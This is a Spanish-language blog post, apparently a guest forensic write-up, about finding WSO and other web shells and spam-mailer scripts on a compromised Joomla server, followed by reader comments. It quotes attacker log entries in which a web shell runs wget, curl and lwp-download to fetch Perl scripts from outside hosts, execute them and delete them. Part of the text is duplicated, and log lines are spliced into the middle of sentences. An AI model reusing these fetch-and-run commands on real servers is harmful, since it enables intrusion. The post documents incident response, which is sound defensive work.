Sigue El lado del mal en Telegram
Chema Alonso en Threads
Chema Alonso en Mastodon
Chema Alonso en BSKY
Chema Alonso en Linkedin
DragonJAR
8.8 Chile
Ekoparty
e-Hack MX 
AREA 51 
Comunidad Dojo Panamá 
ARPAHE SOLUTIONS 
Una historia personal con servidores owneados en mi red
Es lunes por la mañana y llego al trabajo con pocas ganas , aún con el chip de fin de semana activo, cuando de repente un compañero me despierta con un repentino: “nos van a venir bien tus conocimientos de seguridad, porque tenemos un virus en la red y nos van a bloquear la conexión a no ser que lo solucionemos”. Automáticamente el chip cambió y se activó el cuerpo. ¡Hora de la diversión!
Para poder entender la situación mejor, digamos que el escenario de trabajo es una gran empresa que se encuentra “dividida” en dos más pequeñas. De ellas, el equipos IT de una de ellas es el que se encarga de la conectividad con el exterior y el equipo IT de la otra de los sistemas. Este entorno fueza a que el acceso desde Internet a la de empresa que se encarga de los sistemas debe pasar obligatoriamente por las redes de la otra empresa. Yo formo parte de la de empresa que gestiona los sistemas.
La empresa de conectividad nos envía un comunicado en el que parece ser que nuestro frontal web tiene instalada un web shell WSO 2.5. Sin embargo, analizando la traza incompleta que nos proporcionaron, veo que hay una dirección IP con puerto 81 “escondida” por ahí que corresponde a un firewall. Viendo la configuración del firewall veo que el puerto 81 lo redirige a un servidor que no gestionamos nosotros. Analizando los ficheros de log de Apache, veo una serie de llamadas a ficheros PHP más que sospechosos, casi todas ellas con estado de respuesta 404. Por ejemplo:
El responsable confirmó que sí, que estaba ese fichero y también otro con nombre food2.php. Para evitar que pudiera ser utilizado por los atacantes, pedí que fuera eliminado ese fichero para que, a priori, ahí queda el límite del incidente. Sin embargo, todos los que estamos relacionados con la seguridad informática,sabemos que una vez que un servidor ha sido comprometido lo mejor es aplicar "fuego purificador" en ese servidor para evitar ser afectados por cualquier otro backdoor que hubiera podido ser instalado en la máquina.
El proceso habitual sería hacer un análisis forense de la máquina para averiguar cómo se produjo la intrusión y en paralelo restaurar una copia de seguridad que se sepa que está bien, poniendo mil ojos a las opciones de monitorización y auditoría hasta que se sepa cómo entró la WebShell en el sistema.
Como os he contado al principio, la máquina no está en nuestra empresa, así que al comentar los siguientes pasos a realizar con los responsables de la máquina nos informaron de un pequeño problema. Como "buena práctica de seguridad", no se hacen backups de esa máquina. De todas formas, como veremos un poco más adelante, si se hubieran hecho las copias de seguridad de poco hubiera servido.
Mientras pasaban todos estos acontecimientos, echando un vistazo a los ficheros de log, me di cuenta de que otra llamada parecía indicar con más que toda probabilidad la existencia de otra shell en el sistema:
No fue muy difícil, una petición et voilà! La WebShell no tiene ninguna protección de seguridad y yo tengo acceso al servidor con los privilegios del usuario Apache, pudiendo ejecutar cualquier comando siempre que este usuario tenga esos permisos - por eso es tan importante el Hardening de lo sistemas GNU/Linux -.
De un modo irónico, gracias a esta WebShell pude seguir investigando el compromiso de nuestros equipos, detectando unas cuantas WebShells más, como por ejemplo el zet.php que aparece en la imagen superior. También detecté numerosas aplicaciones para el envío masivo de e-mails en campañas de spam, por ejemplo el wew.php que sale en el listado anterior.
Una vez identificado el compromiso, me puse a investigar en los ficheros de log desde cuándo habían sido vulnerados y owneados estos servidores. El reporte de la empresa de conectividad hacía referencia al 14 de Febrero de este año pero tirando de trazas en los ficheros de log yo llegué hasta Octubre del año pasado detectando el problema - antes de que desde “arriba” me dijeran que dejara de lado esta tarea, que ya no era importante, y me pusiera con otra -.
Este es el motivo por el que dije antes que si hubiera habido backups de poco servirían a priori, ya que se estarían realizando copias de seguridad infectadas desde al menos Octubre, lo que deja claro que antes de tomar una decisión apresurada hay que acotar el impacto de la infección. Por supuesto, si esas copias además hubieran sido analizadas como parte de una estrategia antimalware, probablemente hubiera sido mucho más sencillo y rápido detectar la intrusión.
Al final al menos pude convencer de que este servidor ya no era seguro, y que lo mejor que se podía hacer era - y por suerte, así se hizo -, portar sus servicios clave a una instalación nueva, por lo que ya ese servidor no existe. El otro punto bueno, - si es que una intrusión puede tenerlo - fue que gracias a todo esto, pude “concienciar” un poco al resto del equipo y muchos superiores de la importancia de la implementación de controles de seguridad - y que éstos funcionen- , por lo que me han permitido dedicar parte de mi tiempo para encargarme de dichas tareas.
Esta fue una experiencia personal que he vivido en mi empresa, y que si sirve para que alguien aprenda en experiencia ajena, empieces a luchar por poner controles de seguridad los servidores de tu empresa para evitar descubrir meses después que tus sistemas están comprometidos.
Autor: Ayoze Fernández
Para poder entender la situación mejor, digamos que el escenario de trabajo es una gran empresa que se encuentra “dividida” en dos más pequeñas. De ellas, el equipos IT de una de ellas es el que se encarga de la conectividad con el exterior y el equipo IT de la otra de los sistemas. Este entorno fueza a que el acceso desde Internet a la de empresa que se encarga de los sistemas debe pasar obligatoriamente por las redes de la otra empresa. Yo formo parte de la de empresa que gestiona los sistemas.
La empresa de conectividad nos envía un comunicado en el que parece ser que nuestro frontal web tiene instalada un web shell WSO 2.5. Sin embargo, analizando la traza incompleta que nos proporcionaron, veo que hay una dirección IP con puerto 81 “escondida” por ahí que corresponde a un firewall. Viendo la configuración del firewall veo que el puerto 81 lo redirige a un servidor que no gestionamos nosotros. Analizando los ficheros de log de Apache, veo una serie de llamadas a ficheros PHP más que sospechosos, casi todas ellas con estado de respuesta 404. Por ejemplo:
GET /blablabla/images/stories/food.php?rfMmm curioso. Decido buscar qué peticiones a ficheros PHP tuvieron éxito utilizando egrep “php.*200” log y aquí es donde empiezan los resultados interesantes. Algunas muestras de peticiones que tuvieron éxito son las siguientes:
HTTP/1.1" 404 1024 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"
GET /blablabla/images/stories/food.php?cmd=
wget%20http://www.regme.cz/wp-content/uploads/2014/02/robot.txt;
perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;perl%20robot.txt;
perl%20robot.txt;perl%20robot.txt;rm%20-fr %20robot.*
HTTP/1.1" 200 - "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6
GET /blablabla/images/stories/food.php?cmd=
curl+-C+-+-O+http://tarmim.pl/Albasoul/alb.txt
%3Bperl+alb.txt%3Brm+alb.txt
HTTP/1.1" 200 845 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6
GET /blablabla/images/stories/food.php?cmd=cd%20/tmp%20;Y así seguían unas cuantas decenas más de ellas. A su vez, cada uno de esos scripts llamaba a otros scripts de otros sitios que supongo que habrán sido comprometidos también por el mismo ataque. Como parece más que evidente, el fichero de la WebShell lleva por nombre food.php, así que me puse en contacto con alguien que tuviera acceso a ese equipo detrás del firewall que hacía las llamadas y preguntarle por ese archivo en el servidor web.
lwp-download%20http://www.ciaenote.com.br/lojawp/wpcontent/upgrade/p.log;
perl%20p.log%20;%20rm %20-rf%20p.log
HTTP/1.1" 200 901 "Mozilla/5.0
(Windows; U; Windows NT 5.1; en-US; rv:1.9.2)
Gecko/20100115 Firefox/3.6"
El responsable confirmó que sí, que estaba ese fichero y también otro con nombre food2.php. Para evitar que pudiera ser utilizado por los atacantes, pedí que fuera eliminado ese fichero para que, a priori, ahí queda el límite del incidente. Sin embargo, todos los que estamos relacionados con la seguridad informática,sabemos que una vez que un servidor ha sido comprometido lo mejor es aplicar "fuego purificador" en ese servidor para evitar ser afectados por cualquier otro backdoor que hubiera podido ser instalado en la máquina.
El proceso habitual sería hacer un análisis forense de la máquina para averiguar cómo se produjo la intrusión y en paralelo restaurar una copia de seguridad que se sepa que está bien, poniendo mil ojos a las opciones de monitorización y auditoría hasta que se sepa cómo entró la WebShell en el sistema.
Como os he contado al principio, la máquina no está en nuestra empresa, así que al comentar los siguientes pasos a realizar con los responsables de la máquina nos informaron de un pequeño problema. Como "buena práctica de seguridad", no se hacen backups de esa máquina. De todas formas, como veremos un poco más adelante, si se hubieran hecho las copias de seguridad de poco hubiera servido.
Mientras pasaban todos estos acontecimientos, echando un vistazo a los ficheros de log, me di cuenta de que otra llamada parecía indicar con más que toda probabilidad la existencia de otra shell en el sistema:
GET /blablabla/images/stories/vvv3.php? p=edit&Esta vez, en vez de solicitar que miraran si ese archivo existía, lo que hice fue conectarme directametne a ese fichero PHP. Normalmente, cuando un pentester o un defacer profesional sube una WebShell a un servidor, lo hace estableciendo una contraseña, pero como ya se ha visto muchas veces, hay WebShells subidas sin ninguna protección y hasta indexadas en Google, así que había que probar cuál es el tipo de atacante al que nos enfrentamos.
dir=/srv/www/htdocs/blablabla/images/stories&
file=/srv/www/htdocs/blablabla/images/storie s/food.php
HTTP/1.1" 200 4506 "Mozilla/5.0
(Windows NT 6.2; WOW64; rv:27.0
Gecko/20100101 Firefox/27.0"
 |
| Figura 1: WebShells indexadas en Google |
No fue muy difícil, una petición et voilà! La WebShell no tiene ninguna protección de seguridad y yo tengo acceso al servidor con los privilegios del usuario Apache, pudiendo ejecutar cualquier comando siempre que este usuario tenga esos permisos - por eso es tan importante el Hardening de lo sistemas GNU/Linux -.
 |
| Figura 2: WebShell en los servidores owneados. |
De un modo irónico, gracias a esta WebShell pude seguir investigando el compromiso de nuestros equipos, detectando unas cuantas WebShells más, como por ejemplo el zet.php que aparece en la imagen superior. También detecté numerosas aplicaciones para el envío masivo de e-mails en campañas de spam, por ejemplo el wew.php que sale en el listado anterior.
 |
| Figura 3: Conexión desde Kali Linux al programa PHP para hacer la campaña de spam |
Una vez identificado el compromiso, me puse a investigar en los ficheros de log desde cuándo habían sido vulnerados y owneados estos servidores. El reporte de la empresa de conectividad hacía referencia al 14 de Febrero de este año pero tirando de trazas en los ficheros de log yo llegué hasta Octubre del año pasado detectando el problema - antes de que desde “arriba” me dijeran que dejara de lado esta tarea, que ya no era importante, y me pusiera con otra -.
Este es el motivo por el que dije antes que si hubiera habido backups de poco servirían a priori, ya que se estarían realizando copias de seguridad infectadas desde al menos Octubre, lo que deja claro que antes de tomar una decisión apresurada hay que acotar el impacto de la infección. Por supuesto, si esas copias además hubieran sido analizadas como parte de una estrategia antimalware, probablemente hubiera sido mucho más sencillo y rápido detectar la intrusión.
Al final al menos pude convencer de que este servidor ya no era seguro, y que lo mejor que se podía hacer era - y por suerte, así se hizo -, portar sus servicios clave a una instalación nueva, por lo que ya ese servidor no existe. El otro punto bueno, - si es que una intrusión puede tenerlo - fue que gracias a todo esto, pude “concienciar” un poco al resto del equipo y muchos superiores de la importancia de la implementación de controles de seguridad - y que éstos funcionen- , por lo que me han permitido dedicar parte de mi tiempo para encargarme de dichas tareas.
 |
| Figura 4: Aplica fuego purificador al servidor y listo |
Esta fue una experiencia personal que he vivido en mi empresa, y que si sirve para que alguien aprenda en experiencia ajena, empieces a luchar por poner controles de seguridad los servidores de tu empresa para evitar descubrir meses después que tus sistemas están comprometidos.
Autor: Ayoze Fernández
6 comentarios:
excelente chema le haces honor a tu reputacion...
Y que siempre tenga que pasar algo para que los de "arriba" sean conscientes de los riesgos existentes...
Muy bueno el artículo.
Por cierto esteban, el post no es de Chema.
Si el directorio 'story' es real, seguramente es un Joomla. Migrar a otro servidor no sirve, el fallo está en un plugin de Joomla, hay que actualizar. Esto se ve mucho hoy en día, aprovechan fallos en plugins para subir webshells.
Anónimo: como bien dices, todo comenzó (hasta donde pude investigar) por un Joomla más que anticuado (1.X) que estaba en un entorno de producción...
Al migrar al nuevo servidor, se dejó de utilizar Joomla, y están utilizando otra cosa (ni si quiera un CMS, creo)
Joomla¡ y mas esa version son un coladero, y en las pagina webs creadas con Joomla! en sus versiones; 1.5/1.6/1.7/2.5.0/2.5.2, todas estas versiones presentan un fallo de seguridad muy grabe por lo que se aconseja a toda persona cuyo sitio web este creado con Joomla! que revise cuanto antes la versión en la que esta corriendo actualmente su sitio web, ya que si esta dentro de las vulnerables corren el riesgo de ser Hackeados, se recomienda actualizar para evitar asi daños mayores en un futuro.
A la gente no le gusta actualizar por la compativilidad de esos plugins con X funciones las cuales de la version 1.7 por ejemplo que estan dentro de las vulnerables a la version X no vale y por pereza yo creo de buscar alguna alternativa a dichas funciones no lo hacen, y mas si el admin es un usuario normal, xungo tomate, la verdead que buscas informacion de como hacerlo y si no sabes, te echass las manos a la cabeza, ablo de los sitios web creados bajo esas versiones, Joomla! esta mas quemada que el palo de un churrero, y las que hay todavia y hoy en dia hay muchisisima informacion a disposicion de los que no somo tan expertos.
Al reportar dicho fallo a infinidad de paginas webs creadas con Joomla! te encuentras con lo de siempre, unos se enfadan otros lo agradecen , lo cual es lo normal a mi pensar...pero vaya, la mayoria dice lo mismo, que les da palo liarse a trastear y muchos otros/as no saben como hacerlo, ni viendo un tutorial vamos...
Leer más: http://www.m3h4ck.es/seguridad-informatica/
Me gustan estos artículos forenses, buen trabajo
Publicar un comentario